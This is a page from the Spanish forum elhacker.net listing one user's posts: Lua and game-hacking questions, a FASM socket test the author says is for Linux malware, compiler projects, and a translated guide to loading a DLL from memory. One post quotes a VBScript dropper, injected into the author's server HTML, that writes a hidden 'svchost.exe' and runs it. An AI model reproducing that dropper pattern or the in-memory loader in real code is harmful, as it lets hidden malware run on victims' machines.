elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Temas
Páginas: [1] 2
1  Programación / Scripting / Obtener nueva posición del jugador en: 28 Noviembre 2019, 10:37 am
Bueno, estoy tratando de obtener lo que sería la nueva posición del jugador en base a la posición del mouse relativa a la ventana.

Es decir: quiero que la posición X e Y de un jugador sea ajustada hacia su nueva posición en el mapa/mundo, la cual sería la posición señalada por el mouse sobre la ventana.

Yo actualmente poseeo los siguientes datos:
  • Las dimenciones de la ventana.
  • La posición X e Y del mouse en base a la ventana.
  • La dimensión del mapa.
  • La posición del jugador relativa a la dimensión del mapa.
  • La velocidad de movimiento del jugador.

Código:
local WINDOW_WIDTH = 597
local WINDOW_HEIGHT = 383
local MOUSE_X = 0
local MOUSE_Y = 0
local USER_X = 34.0
local USER_Y = 63.0
local MAP_WIDTH = 71.0
local MAP_HEIGHT = 43.0
local USER_SPEED = 8

-- Mi vano intento por obtener las nuevas coordenadas X e Y.
-- Hice cualquiera xd
local angle = math.atan2(MOUSE_Y - USER_Y,MOUSE_X - USER_X)
local dx,dy = USER_SPEED * math.cos(angle),USER_SPEED * math.sin(angle)
local x,y = dx,dy
print(x,y)

También me encuentro con el dilema de que el mapa y la posición del jugador están en valores flotantes y no sé que dimensión en pixeles representa, aunque creo que es:

Código:
WIDTH = MAP_WIDTH * USER_SPEED
HEIGHT = MAP_HEIGHT * USER_SPEED

La verdad no tengo la menor idea de como proceder en este caso. ¿alguna sugerencia?
2  Programación / ASM / Creando un socket con FASM para Linux en: 26 Septiembre 2019, 16:26 pm
Bueno, como estoy creando un malware para Linux tengo que escribir y probar código, tuve (y tengo) bastantes problemas con los sockets, no por su complejidad de uso (que es nula), sino por el simple hecho de que no obtengo los resultados deseados.

Escribí este código para encontrar el error de manera más sencilla, pero no pude hacerlo debido a que milagrosamente el código decidió funcionar sin problemas (o eso creo).


Para FASM:
Código
  1. format ELF executable 3
  2. entry start
  3.  
  4. segment readable executable
  5.  
  6. SYS_SOCKET = 1
  7. SYS_SOCKETCALL = 102
  8. SYS_WRITE = 4
  9.  
  10. start:
  11.        mov DWORD[sockparams+4*0],2 ; PF_INET - AF_INET (2)
  12.        mov DWORD[sockparams+4*1],1 ; SOCK_STREAM (1)
  13.        mov DWORD[sockparams+4*2],0 ; 0, También probé con IPPROTO_TCP (6)
  14.  
  15.        lea ecx,DWORD[sockparams]
  16.        mov ebx,SYS_SOCKET
  17.        mov eax,SYS_SOCKETCALL
  18.        int 0x80
  19.        cmp eax,0
  20.        je .MOSTRAR_MENSAJE_CERO
  21.        js .MOSTRAR_MENSAJE_MENOR_CERO
  22.        jb .MOSTRAR_MENSAJE_MENOR_CERO
  23.        ja .MOSTRAR_MENSAJE_NO_CERO
  24.        jmp .CONTINUAR
  25. .MOSTRAR_MENSAJE_CERO:
  26.        mov edx,7
  27.        mov ecx,cero_mensaje
  28.        mov ebx,1
  29.        mov eax,SYS_WRITE
  30.        int 0x80
  31.        jmp .CONTINUAR
  32. .MOSTRAR_MENSAJE_NO_CERO:
  33.        mov edx,19
  34.        mov ecx,nocero_mensaje
  35.        mov ebx,1
  36.        mov eax,SYS_WRITE
  37.        int 0x80
  38.        jmp .CONTINUAR
  39. .MOSTRAR_MENSAJE_MENOR_CERO:
  40.        mov edx,15
  41.        mov ecx,menorcero_mensaje
  42.        mov ebx,1
  43.        mov eax,SYS_WRITE
  44.        int 0x80
  45. .CONTINUAR:
  46.        mov eax,1
  47.        xor ebx,ebx
  48.        int 0x80
  49.  
  50. segment readable writeable
  51.  
  52.        sockparams rd 10
  53.  
  54.        menorcero_mensaje db 'Menor a cero...',0
  55.        cero_mensaje db 'Cero...',0
  56.        nocero_mensaje db 'Es mayor a cero! :0',0

Considero que está muy claro, pero si no se entiende no duden en decirme. Espero que les sirva a aquellas personas interesadas en la programación de bajo nivel para Linux.

Testeado en TinyCore Linux emulado mediante QEMU.
3  Sistemas Operativos / Windows / Creando variante Lua en: 6 Mayo 2019, 20:03 pm
Estoy creando una variante de Lua 5.3 que permite la automatización de Windows (vease: AutoIT y AutoHotKey) pero mejor orientado al hacking de juegos (vease: edición de memoria, hooks, etc).

No vengo a pedir ayuda con el desarrollo del proyecto, tengo en mente la base del lenguaje; solo me gustaría (realmente!) tener algunas ideas en la mesa antes de terminar con la primera liberación.

¿Qué te gustaría ver implementado en Lua?, también busco sugerencias para el nombre.

¡Saludos!
4  Foros Generales / Dudas Generales / Descargar con cURL en Windows en: 27 Marzo 2019, 04:02 am
Buenas a todos, el día de ayer encontré por casualidad esta página la cual plantea el uso del lenguaje Lua en el navegador (front-end), me gustó y decidí probarlo. Ví que se puede descargar mediante cURL, pero ademas de un par de funciones mediante PHP, nunca había usado el software.

Descargué cURL, añadí su dirección a la ruta de variables para usarlo fácilmente desde consola (cmd.exe) y escribí el comando que se me describe en la parte inferior de su página.

Código:
curl -L -O https://github.com/fengari-lua/fengari-web/releases/download/v0.1.4/fengari-web.js

Parece ser que lo descargó con éxito, pero desconozco la ubicación del archivo. Buscando por Internet encontré el como establecer la ruta de escritura del archivo a descargar.

Código:
curl -L -O https://github.com/fengari-lua/fengari-web/releases/download/v0.1.4/fengari-web.js > C:\Users\Usuario\Desktop\fengari-web.js

Pero el archivo creado está vacío. ¿Qué estoy haciendo mal?
5  Foros Generales / Foro Libre / Escribiendo un compilador en vivo en: 18 Abril 2018, 23:52 pm
Bueno, ya queriendo iniciar un proyecto nuevo, les aviso que a partir de mañana 19/04/2018 (3:00 pm - Hora Argentina) voy a empezar a escribir un compilador en vivo desde Twitch, el proyecto será programado en el viejo VB6 bajo Windows 10 de 64 bits.

¡Los espero!
6  Foros Generales / Foro Libre / Busco gente para escribir un compilador en: 8 Marzo 2018, 03:49 am
Bueno, ya harto de escribir compiladores mediocres solo, me decidí hoy a escribir este post para buscar gente que me ayude a programar en el viejo vb6, ofrezco una maquina virtual W10 64 bits para el desarrollo de este proyecto (código cerrado/no github).

Código:
Solo personas con microfono y tiempo libre!

Esto solo se hace por hobbie/diversión/socialización/aprendizaje, sin embargo se buscaria el desarrollo de un lenguaje bien hecho y completo (POO, Recursivo, Sobrecarga de operadores - Procedimientos,1 sondeo, etc), por lo que se solicita gente con experiencia en programación y buena comprensión de la lógica de esta.

Código:
Lamentablemente solo se aceptan 3 programadores!

Pueden ofrecerse en comentarios (?)
7  Foros Generales / Dudas Generales / Escritorio dividido via AnyDesk en: 15 Enero 2018, 20:52 pm
Compré un CPU nuevo y lo comparto con mi hermanito, lo que necesito es crear 2 escritorios. Uno para mi hermanito y el otro para controlar de forma remota vía AnyDesk, necesitan trabajar en paralelo y totalmente independientes un escritorio del otro ¿como puedo hacer esto?
8  Foros Generales / Dudas Generales / Saber que programa edita un archivo en: 27 Diciembre 2017, 15:50 pm
En un ordenador que uso como servidor hay un programa que modifica los archivos HTML añadiendo el siguiente código:

Código
  1. <SCRIPT Language=VBScript><!--
  2. DropFileName = "svchost.exe"
  3. WriteData = "4D5A90..." ' Básicamente un archivo ejecutable.
  4. Set FSO = CreateObject("Scripting.FileSystemObject")
  5. DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
  6. If FSO.FileExists(DropPath)=False Then
  7. Set FileObj = FSO.CreateTextFile(DropPath, True)
  8. For i = 1 To Len(WriteData) Step 2
  9. FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
  10. Next
  11. FileObj.Close
  12. End If
  13. Set WSHshell = CreateObject("WScript.Shell")
  14. WSHshell.Run DropPath, 0
  15. //--></SCRIPT>

Este código crea un ejecutable y lo ejecuta. El problema es que no puedo "atrapar" al ejecutable que hace esto.

¿Alguna sugerencia para esta situación?
9  Foros Generales / Foro Libre / ¿Que te gustaria de un lenguaje de programación? en: 24 Agosto 2017, 06:10 am
Bueno, hace unos años logre realizar las bases de un sueño mio que era tener mi propio lenguaje de programación funcional, hoy dia ese sueño se cumplió gracias a mis esfuerzos y se compartió gracias a una increible comunidad, pero a pesar de que logre crear algo realmente potente y simple (lo suficiente como para poder desarrollar el programa que desee) no estoy satisfecho.

Hoy me estoy planteando volver a desarrollar un nuevo compilador, y el hecho de que este acá es para preguntarles ¿que les gustaria de un lenguaje de programación? ¿que cosas les molesta o disgusta? ¿tienen detalles que compartir?

¡Saludos!
10  Programación / Programación General / [Guía] Cargar DLL de memoria en: 6 Agosto 2017, 05:10 am
Información

Las funciones predeterminadas de la API de Windows para cargar bibliotecas externas en un programa (LoadLibrary, LoadLibraryEx) sólo funcionan con archivos del sistema. Por lo tanto, es imposible cargar un DLL de memoria. Pero a veces, necesitas exactamente esta funcionalidad (por ejemplo, si no quieres distribuir muchos archivos o quieres hacer el des-ensamblado más difícil). Soluciones comunes para estos problemas son escribir el DLL en un archivo temporal primero e importarlo desde ahí. Cuando el programa termina, el archivo temporal se elimina.

En este tutorial, describiré primero cómo se estructuran los archivos DLL y se presentará código que se puede utilizar para cargar una DLL completamente desde la memoria, sin tocar el disco.

Ejecutables de Windows - Formato PE

La mayoría de los binarios de Windows que pueden contener código ejecutable (.exe, .dll, .sys) comparten un formato de archivo común que consta de las siguientes partes:

Código:
DOS Header
DOS Stub
PE Header
Sección Header
Sección 1
Sección 2
. . .
Sección #

Todas las estructuras que se dan a continuación se pueden encontrar en el archivo Estructuras.cml

Cabecera DOS (DOS Header) - STUB

El encabezado DOS sólo se utiliza para la compatibilidad con versiones anteriores. Precede al stub de DOS que normalmente sólo muestra un mensaje de error acerca de que el programa no se puede ejecutar desde el modo DOS.

Microsoft define el encabezado DOS de la siguiente manera:

Código:
Estruct IMAGE_DOS_HEADER,_
        e_magic,_       ' Número mágico.
        e_cblp,_         ' Bytes en la última página del archivo.
        e_cp,_           ' Paginas en el archivo.
        e_crlc,_          ' Relocalizaciones.
        e_cparhdr,_    ' Tamaño del encabezado en el apartado.
        e_minalloc,_    ' Tamaño extra mínimo del apartado.
        e_maxalloc,_   ' Tamaño extra máximo del apartado.
        e_s,_              ' Valor SS inicial (relativo).
        e_sp,_            ' Valor inicial SP.
        e_csum,_        ' Checksum.
        e_ip,_             ' Valor inicial IP.
        e_cs,_             ' Valor CS inicial (relativo).
        e_lfarlc,_         ' Dirección en el archivo de la tabla de relocaciones.
        e_ovno,_        ' Número de superposición.
        e_res[4],_       ' Reservados.
        e_oemid,_       ' Identificador OEM (para e_oeminfo).
        e_oeminfo,_    ' Información OEM.
        e_res2[10]:Word,_ ' Reservado.
        e_lfanew:Entero ' Dirección en el archivo de la nueva cabecera.

Cabecera PE (PE Header)

La cabecera PE contiene información acerca de las diferentes secciones dentro del ejecutable que son usados para almacenar códigos y datos o también para definir importaciones de otras librerías o exportaciones que esta proporciona.

Esta se define como la siguiente estructura:

Código:
Estruct IMAGE_NT_HEADERS,_
        Signature:Entero,_
        FileHeader:IMAGE_FILE_HEADER,_
        OptionalHeader:IMAGE_OPTIONAL_HEADER

El miembro 'FileHeader' describe el formato físico del archivo. Por ejemplo: contenidos, información sobre símbolos, etc.

Código:
Estruct IMAGE_FILE_HEADER,_
        Machine,_
        NumberOfSections:Word,_
        TimeDateStamp,_
        PointerToSymbolTable,_
        NumberOfSymbols:Entero,_
        SizeOfOptionalHeader,_
        Characteristics:Word

El 'OptionalHeader' contiene información sobre el formato lógico de la librería, incluyendo la versión requerida del SO, los requisitos de memoria y los puntos de entrada.

Código:
Estruct IMAGE_OPTIONAL_HEADER,_
        Magic:Word,_ ' 0
        MajorLinkerVersion,_ ' 2
        MinorLinkerVersion:Byte,_ ' 3
        SizeOfCode,_    ' 4
        SizeOfInitializedData,_ ' 8
        SizeOfUnitializedData,_ ' 12
        AddressOfEntryPoint,_ ' 16
        BaseOfCode,_ ' 20
        BaseOfData,_ ' 24
        ImageBase,_ ' 28
        SectionAlignment,_ ' 32
        FileAlignment:Entero,_ ' 36
        MajorOperatingSystemVersion,_ ' 40
        MinorOperatingSystemVersion,_ ' 42
        MajorImageVersion,_ ' 44
        MinorImageVersion,_ ' 46
        MajorSubsystemVersion,_ ' 48
        MinorSubsystemVersion:Word,_ ' 50
        W32VersionValue,_ ' 52
        SizeOfImage,_ ' 56
        SizeOfHeaders,_ ' 60
        CheckSum:Entero,_ ' 64
        SubSystem,_ ' 68
        DllCharacteristics:Word,_ ' 70
        SizeOfStackReserve,_ ' 72
        SizeOfStackCommit,_ ' 76
        SizeOfHeapReserve,_ ' 80
        SizeOfHeapCommit,_ ' 84
        LoaderFlags,_ ' 88
        NumberOfRvaAndSizes:Entero,_ ' 92
        DataDirectory[16]:IMAGE_DATA_DIRECTORY ' 96

El 'DataDirectory' contiene 16 (IMAGE_NUMBEROF_DIRECTORY_ENTRIES) entradas que definen los componentes lógicos de la librería:

Citar
Nota: Las descripciones en rojo no pudieron ser traducidas.

Indice-Descripción
0Funciones exportadas
1Funciones importadas
2Recursos (resources)
3Información de excepciones
4Información de seguridad
5Tabla de reubicación base
6Información de depuración
7Datos de arquitectura especifica
8Puntero global
9Thread local storage
10Configuración de carga
11Importaciones vinculadas
12Tabla de direcciones de importación
13Delay load imports
14COM runtime descriptor

Para importar una DLL nosotros solo necesitamos las entradas que describen las importaciones y la tabla de reubicaciones. Para proporcionar acceso a las funciones exportadas, se requiere la entrada de las exportaciones.

Cabecera de secciones (Section Header)

La cabecera de secciones es almacenada después de la estructura 'OptionalHeader' en la cabecera PE. Si usted usa C. Microsoft le provee la macro 'IMAGE_FIRST_SECTION' para obtener la dirección de inicio basado en la cabecera PE.

Actualmente, la cabecera de secciones (Section Header) es una lista de información acerca de cada sección en el archivo.

Código:
Unión Misc,_
      PhysicalAddress,_
      VirtualSize:Entero

Estruct IMAGE_SECTION_HEADER,_
        Name[8]:Byte,_
        Misc:Misc,_
        VirtualAddress,_
        SizeOfRawData,_
        PointerToRawData,_
        PointerToRelocations,_
        PointerToLinenumbers:Entero,_
        NumberOfRelocations,_
        NumberOfLinenumbers:Word,_
        Characteristics:Entero

Una sección puede contener código, datos, información de reubicaciones, recursos, definiciones de importación/exportación, etc.

Cargando la librería

Para emular la carga PE, nosotros primero debemos entender cuales son los pasos necesarios para cargar un archivo en la memoria y preparar las estructuras para que puedan ser llamadas por otros programas.

Al invocar a la API LoadLibrary, básicamente, Windows realiza estas tareas:

  • Abre el archivo dado y analiza las cabeceras DOS y PE.
  • Trata de almacenar 'PEHeader.OptionalHeader.SizeOfImage' bytes en la posición 'PEHeader.OptionalHeader.ImageBase'.
  • Analiza las secciones de cabecera y copia cada sección a sus respectivas secciones de memoria. La dirección de destino de cada sección, relativa a la base del bloque de memoria asignado, se almacena en el miembro 'VirtualAddress' de la estructura IMAGE_SECTION_HEADER.
  • Si el bloque de memoria alojado difiere del miembro 'ImageBase', varias referencias en las secciones de código y/o datos deben ser ajustadas. Esto es llamado reubicación base (base relocation).
  • Las importaciones necesarias para la DLL deben resolverse cargando las librerías correspondientes.
  • Las regiones de memoria de cada sección deben ser protegidas dependiendo de las características de la sección. Muchas secciones son marcadas como descartables y por lo tanto se pueden liberar a partir de este punto. Estas secciones normalmente contienen información temporal que solo es requerida durante la importación. Como la información para la reubicación base.
  • Nuestra librería esta cargada completamente, Se debe notificar sobre esto llamando al punto de entrada (Entry Point) usando la bandera (flag) DLL_PROCESS_ATTACH.

En los siguientes párrafos, cada paso es descrito.

Almacenando memoria

Toda la memoria requerida por la libreria debe ser reservada/alojada usando VirtualAlloc, como Windows provee funciones para proteger estos bloques de memoria. Esto es requerido para restringir el acceso a la memoria, como bloquear el acceso a escritura del código o datos constantes.

La estructura 'OptionalHeader' define el tamaño del bloque de memoria requerido por la librería. Si es posible, esta debe ser almacenado en la dirección especificada por 'ImageBase'.

Citar
Nota: En el siguiente mini-ejemplo se asume que usted hizo apuntar 'PEHeader' a la librería en memoria.

Código:
Var Mem:Entero
Mem = VirtualAlloc(PEHeader.OptionalHeader.ImageBase,PEHeader.OptionalHeader.SizeOfImage,MEM_RESERVE,PAGE_READWRITE)

Si la memoria reservada difiere de la dirección dada en 'ImageBase', se debe realizar la reubicación de base como se describe mas adelante.

Copiar secciones

Una vez que la memoria ha sido reservada, el contenido del archivo debe ser copiado al sistema. Las secciones de cabecera (Section Headers) deben ser evaluadas para determinar la posición en el archivo y el área de destino en la memoria.

Antes de copiar los datos, el bloque de memoria debe estar comprometido.

Citar
Nota: Se aloja nueva memoria con la bandera 'MEM_COMMIT'.

Código:
Var Destino:Entero
Destino = VirtualAlloc(DirecciónBase + Sección.VirtualAddress,Sección.SizeOfRawData,MEM_COMMIT,PAGE_READWRITE)

Secciones sin datos en el archivo (como secciones de datos para ser usadas como variables) tienen un 'SizeOfRawData' de 0. Entonces puedes usar la 'SizeOfInitializedData' o 'SizeOfUninitializedData' de 'OptionalHeader'. Cada uno debe ser elegido dependiendo de las banderas de bits 'IMAGE_SCN_CNT_INITIALIZED_DATA' e 'IMAGE_SCN_CNT_UNINITIALIZED_DATA' que se pueden establecer en las características de la sección (miembro 'Characteristics').

Reubicación base

Todas las direcciones de memoria en las secciones de código/datos de una libreria son almacenadas relativamente a la dirección definida por 'ImageBase' de 'OptionalHeader'.

Si la librería no puede ser importada de esta dirección de memoria, las referencias deben ser re-ajustadas (reubicadas). El formato de archivo ayuda a esto almacenando información sobre todas estas referencias en la tabla de reubicación de base, la cual puede ser encontrada en el directorio 5 de la 'DataDirectory' en la 'OptionalHeader'.

Esta tabla consta de una serie de esta estructura:

Código:
Estruct IMAGE_BASE_RELOCATION,_
        VirtualAddress,_
        SizeOfBlock:Entero

Contiene (SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2 entradas de 16 bits cada una. Los 4 bits superiores definen el tipo de reubicación, los 12 bits inferiores definen el desplazamiento en relación con el VirtualAddress.

Los únicos tipos que pueden ser usados en librerías son:

IMAGE_REL_BASED_ABSOLUTE (0)
Ninguna operación de reubicación.

IMAGE_REL_BASED_HIGHLOW (3)
Agregue el delta entre ImageBase y el bloque de memoria asignado a los 32 bits encontrados en el offset.

Resolviendo importaciones

La entrada de directorio 1 del 'DataDirectory' en 'OptionalHeader' especifica una lista de bibliotecas para importar símbolos. Cada entrada en esta lista se define de la siguiente manera:

Código:
Estruct IMAGE_IMPORT_DESCRIPTOR,_
        OriginalFirstThunk,_
        TimeDateStamp,_
        ForwarderChain,_
        Name,_
        FirstThunk:Entero

El miembro 'Name' describe el offset a una cadena terminada en nulo con el nombre de la librería (ej: KERNEL32.DLL). El miembro 'OriginalFirstThunk' apunta a una lista de referencias a los nombres de las funciones a importar de la librería externa. 'FirstThunk' apunta a una lista de direcciones que se llenó con punteros a los símbolos importados.

Cuando nosotros resolvemos las importaciones, nosotros recorremos ambas listas en paralelo, importando la función definida en la primera lista y almacenando el puntero en los símbolos de la segunda lista.

Código:
Var @NameRef,@SymbolRef:Entero
NameRef@ = BaseAddress + ImportDes.OriginalFirstThunk
SymbolRef@ = BaseAddress + ImportDes.FirstThunk

Mientras NameRef <> 0
    Var @ThunkData:IMAGE_IMPORT_BY_NAME
    ThunkData@ = CodeBase + NameRef
    SymbolRef = GetProcAddress(Handle,CadDePtr(ThunkData.Name))
    NameRef@ = NameRef@@+4
    SymbolRef@ = SymbolRef@@+4
FinMientras

Protegiendo la memoria

Cada sección especifica los indicadores de permiso en su entrada de características. Estas banderas pueden ser una o una combinación de

IMAGE_SCN_MEM_EXECUTE (&20000000)
Esta sección contiene datos que pueden ser ejecutados.

IMAGE_SCN_MEM_READ (&40000000)
Esta sección contiene datos que solo pueden ser leídos.

IMAGE_SCN_MEM_WRITE (&80000000)
Esta sección contiene datos que pueden ser escritos.

Estos indicadores deben asignarse a las banderas de protección

  • PAGE_NOACCESS (&1)
  • PAGE_WRITECOPY 8
  • PAGE_READONLY (&2)
  • PAGE_READWRITE (&4)
  • PAGE_EXECUTE (&10)
  • PAGE_EXECUTE_WRITECOPY (&80)
  • PAGE_EXECUTE_READ (&20)
  • PAGE_EXECUTE_READWRITE (&40)

Ahora, la función VirtualProtect puede ser usada para limitar el acceso a la memoria. Si el programa trata de escribir algo en un camino no autorizado, una excepción es generada por Windows.

Además de los indicadores de sección anteriores, se puede agregar los siguientes:

IMAGE_SCN_MEM_DISCARDABLE (&02000000)
Los datos en esta sección pueden ser liberados después de importar. Usualmente esta es especificada por los datos de reubicación.

IMAGE_SCN_MEM_NOT_CACHED (&04000000)
Los datos de esta sección no deben ser almacenados en caché por Windows. Agregue el indicador de bits PAGE_NOCACHE a los indicadores de protección anteriores.

Notificar librería

La ultima cosa que hacemos es llamar el punto de entrada de la DLL (definido por 'AddressOfEntryPoint') y por lo tanto notificar a la biblioteca acerca de estar conectado a un proceso.

La función de punto de entrada es definida como:

Código:
Prototipo EntryPoint(hInstance,dwReason,Reserved):Entero

Entonces el código que nosotros debemos ejecutar es:

Código:
Prototipo EntryPoint(hInstance,dwReason,Reserved):Entero

Var Entry:EntryPoint
Entry@ = BaseAddress + PEHeader.OptionalHeader.AddressOfEntryPoint
Entry(BaseAddress,DLL_PROCESS_ATTACH,0)

Después podemos utilizar las funciones exportadas como con cualquier biblioteca normal.

Funciones exportadas

Si usted quiere obtener acceso a las funciones que la librería exporta, necesita buscar el punto de entrada del simbolo, por ejemplo. El nombre de la función a llamar.

El directorio de entrada 0 de la 'DataDirectory' en la 'OptionalHeader' contiene información acerca de las funciones exportadas. Esta es definida como la siguiente estructura:

Código:
Estruct IMAGE_EXPORT_DIRECTORY,_
        Characteristics,_
        TimeDateStamp:Entero,_
        MajorVersion,_
        MinorVersion:Word,_
        Name,_
        Base,_
        NumberOfFunctions,_
        NumberOfNames,_
        AddressOfFunctions,_ ' RVA de Base.
        AddressOfNames,_     ' RVA de Base.
        AddressOfNameOrdinals:Entero ' RVA de Base.

Lo primero que debemos hacer es referenciar el nombre de la función al número ordinal del símbolo exportado. Por lo tanto, sólo sondear las matrices definidas por 'AddressOfNames' y 'AddressOfNameOrdinals' en paralelo hasta que encuentre el nombre necesario.

Ahora puede utilizar el número ordinal para leer la dirección evaluando el n-ésimo elemento de la matriz 'AddressOfFunctions'.

Liberando la libreria

Para liberar la librería cargada de manera personalizada, realice los siguientes pasos:

  • Llamar al punto de entrada para informar que la vamos a liberar.
Código:
Entry(BaseAddress,DLL_PROCESS_DETACH,0)

  • Liberar las librerías requeridas por la DLL que queríamos importar en realidad.
  • Liberar la memoria alojada por VirtualAlloc.

Citar
Este manual fue escrito por Joachim Bauch, traducido por Yuki para Underc0de y traído a ustedes por amor a la información libre.

Código fuente de ejemplo (escrito en Cramel)

El código fuente de la librería se puede encontrar acá.

El código de ejemplo puede ser visto en PasteBin.

¡Saludos!
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines